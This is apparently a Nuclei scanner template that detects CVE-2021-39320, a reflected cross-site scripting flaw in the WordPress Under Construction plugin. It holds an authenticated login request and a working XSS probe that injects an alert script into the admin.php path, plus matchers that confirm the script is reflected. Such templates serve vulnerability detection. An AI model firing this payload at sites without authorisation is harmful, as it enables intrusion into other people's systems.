62 lines
2.1 KiB
YAML
62 lines
2.1 KiB
YAML
id: CVE-2021-39320
|
|
|
|
info:
|
|
name: WordPress Under Construction <1.19 - Cross-Site Scripting
|
|
author: dhiyaneshDK
|
|
severity: medium
|
|
description: |
|
|
WordPress Under Construction plugin before 1.19 contains a cross-site scripting vulnerability. The plugin echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file on certain configurations, including Apache+modPHP.
|
|
remediation: |
|
|
Update to the latest version of the WordPress Under Construction plugin (1.19 or higher) to fix the XSS vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
|
|
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39320
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-39320
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-39320
|
|
cwe-id: CWE-79
|
|
epss-score: 0.0021
|
|
epss-percentile: 0.5877
|
|
cpe: cpe:2.3:a:underconstruction_project:underconstruction:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: underconstruction_project
|
|
product: underconstruction
|
|
framework: wordpress
|
|
tags: cve,cve2021,wp-plugin,wpscan,wordpress,wp,xss,authenticated
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /wp-admin/admin.php/"><script>alert(document.domain)</script>/?page=under-construction HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'action="/wp-admin/admin.php/"><script>alert(document.domain)</script>'
|
|
- 'under-construction'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a0047304502204711ec7540e6d2b7b64ed0455db7b2a51de56e276892a3effe3d0146f5c7113c022100d66a08e6294f04d00f945b2856ede8578f5df66769510b99e9aeb28dfe249f36:922c64590222798bb761d5b6d8e72950 |